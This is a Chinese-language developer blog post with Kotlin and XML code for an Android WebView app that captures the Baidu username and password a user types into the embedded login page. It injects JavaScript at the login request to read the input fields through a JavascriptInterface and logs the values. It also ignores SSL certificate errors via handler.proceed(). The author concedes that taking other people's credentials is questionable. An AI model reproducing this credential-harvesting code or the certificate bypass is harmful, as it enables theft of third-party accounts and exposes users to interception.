需求:抓取webview打开的页面中登陆信息,简单点说就是获取第三方的账号和密码。(咋一想,这尼玛有点坑啊,获取别人的信息,怎么都不太好吧。但是也得实现呀。。。)
本文将以抓取百度账号信息为例。(这尼玛也是一个坑。。。百度还是有一些安全措施的。自己挖的坑,笑着也要填完。)
测试地址
const val TEST_URL = "http://www.baidu.com"
布局代码
.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".WebviewActivity">
"@+id/webview"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
.support.constraint.ConstraintLayout
android:id="@+id/constraint_container"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="10dp"
app:layout_constraintVertical_bias="1"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintHorizontal_chainStyle="spread">
"@+id/tv_account"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="#41c0ff"
android:text="account"
android:textColor="@color/colorAccent"
android:textSize="18sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toLeftOf="@id/tv_pwd"
app:layout_constraintTop_toTopOf="parent" />
"@+id/tv_pwd"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="#41c0ff"
android:text="password"
android:textColor="@color/colorAccent"
android:textSize="18sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintLeft_toRightOf="@id/tv_account"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintTop_toTopOf="parent" />
.support.constraint.ConstraintLayout>
如果抓取成功,我们就可以看到 账号密码会在底部的textview中显示。
先来一波分析。我们要获取页面的信息,那是不是要先抓取页面再说呢?好,抓取页面的方法非常简单,直接百度就找到了,嘿嘿。。。
webview.loadUrl("javascript:window.Android.getSource(" +
"document.getElementsByTagName('html')[0].innerHTML);")
等等,我们就是要抓取页面信息,那么这个方法是不是就够了。。。现在要做的岂不就是把这个方法放到合适的位置,感觉超简单嘛。(那我还写个蛋。。。)
现在就照着这个思路走下去。我们了解了webview的一些基本用法,知道用之前先获取到settings,一顿setting之后,然后设置webViewClient,这里重点说下这个玩意,它里面有这几个方法,很常用的方法。
/**
*在开始加载网页时会回调
*/
override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?)
/**
* 在结束加载网页时会回调
*/
override fun onPageFinished(view: WebView?, url: String?)
/**
*拦截 url 跳转,在里边添加点击链接跳转或者操作
*/
override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean
/**
*当接收到https错误时,会回调此函数,在其中可以做错误处理
*/
override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?)
放在加载开始或加载完成感觉都不行呀,那个时候还没有填写账号信息,就算抓取到页面信息,那也是徒劳滴。所以在填写完信息后抓取就不会有问题啦。无懈可击的理论呀。
拦截url跳转的时候获取应该行。当填写完信息后,跳转之前,获取下页面。但是有可能页面先关闭了,抓取不到信息。这个没试过,而且跳转的时候获取时机已过。有兴趣的小伙伴自己去玩吧。
接着说说无懈可击的理论。填写完信息是什么时候呢?感觉方法不够用啊,是时候去百度一波,填充下知识了。先了解下下面的大大的基本知识。当然也还了解到从form表单获取数据,这个没试过,自己可以去尝试。
https://blog.csdn.net/harvic880925/article/details/51523983
get到一个方法。
/**
* 异步: 在每一次请求资源时,都会通过这个函数来回调
* 注意返回值可以为空
* wappass.baidu.com/wp/api/login?tt
*/
override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse?
看注释,已经踩了两个坑。第一,这个方法在一个子线程了,调用loadurl方法时报错,所以需要post一下;第二,这个方法可以返回空,需要加个?。不然跑起来后在这里报错,一脸懵逼。
因为点击登录的时候必然会去请求资源,这个时候最好获取页面信息了。但其实获取到html后发现,尼玛input标签里根本就没有value好吗,F***。。。。。。
经过一番挣扎的思索,头发又掉了不少。既然有了标签,那就通过标签获取值嘛,这样不就是在哪都能拿到账号和信息了。好了,理论分析完毕,是时候开始技术表演了。
不多说,直接贴上代码。
/**
*在开始加载网页时会回调
*/
override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?) {
super.onPageStarted(view, url, favicon)
url?.let { LocLog.action("onPageStarted: $url") }
}
/**
* 在结束加载网页时会回调
*/
override fun onPageFinished(view: WebView?, url: String?) {
super.onPageFinished(view, url)
url?.let {
LocLog.action("onPageFinished: $url")
}
}
/**
*拦截 url 跳转,在里边添加点击链接跳转或者操作
*/
override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
request?.url.apply {
LocLog.action("""shouldOverrideUrlLoading: ${this.toString()}""")
view?.loadUrl(this.toString())
}
return true
}
/**
*当接收到https错误时,会回调此函数,在其中可以做错误处理
*/
override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?) {
handler?.proceed()
}
/**
* 异步: 在每一次请求资源时,都会通过这个函数来回调
* 注意返回值可以为空
* wappass.baidu.com/wp/api/login?tt
*/
override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse? {
request?.url.apply {
LocLog.action("""shouldInterceptRequest: ${this}""")
}
return super.shouldInterceptRequest(view, request)
}
各个方法都加上日志,分析下登陆页面和登陆后的各个URL链接,然后做下一步动作。
上面是打开登陆页面的日志,还有一些没放到图中。最开始打算在shouldInterceptRequest中抓取页面信息,但是发现这样的话,点击登陆,页面根本不跳转,麻蛋。所以就选择放到页面加载完成的方法中。分析url,当包含框中的字符串的时候抓取页面。
在方法onPageFinished中
url?.let {
LocLog.action("onPageFinished: $url")
if (url.contains("wappass.baidu.com/passport/?login"))
webview.loadUrl("javascript:window.Android.getSource(" +
"document.getElementsByTagName('html')[0].innerHTML);")
}
//wappass.baidu.com/passport/?login
分析HTML发现,账号和密码都在input标签中,而且页面中只有这个几个input标签。但还是要分析一波,在合适的地方获取value,最好是在跳转过程中获取,这样就不会有问题。
获取账号密码的方法如下,在方法shouldInterceptRequest中
request?.url.apply {
LocLog.action("""shouldInterceptRequest: ${this}""")
if (!this.toString().contains("wappass.baidu.com/wp/api/login?tt"))
return super.shouldInterceptRequest(view, request)
}
webview.post {
webview.loadUrl("javascript:window.Android.getAccount(" +
"document.getElementsByTagName('input')[0].value);")
webview.loadUrl("javascript:window.Android.getPwd(" +
"document.getElementsByTagName('input')[1].value);")
}
不要忘了添加js调用Android的方法。
webview.addJavascriptInterface(JSHook(), "Android")
inner class JSHook{
@JavascriptInterface
fun getSource(html: String?) {
html?.apply { LocLog.action(" getSource: $this") }
}
@JavascriptInterface
fun getAccount(account: String?) {
account?.apply {
LocLog.action("getAccount:$this")
tv_account?.setText(this)
}
}
@JavascriptInterface
fun getPwd(pwd: String?) {
pwd?.apply {
LocLog.action("getPwd: $this")
tv_pwd?.setText(this)
}
}
}
最后发现,为啥要费劲吧啦的抓取页面呢?还不是为了分析页面,然后好获取账号和密码。到后来发现,页面都长得是一球样,不用分析页面,妥妥滴获取标签值,使用某个方法就能获取到值了,哈哈哈
github地址:
https://github.com/blazeqin/webviewcrawler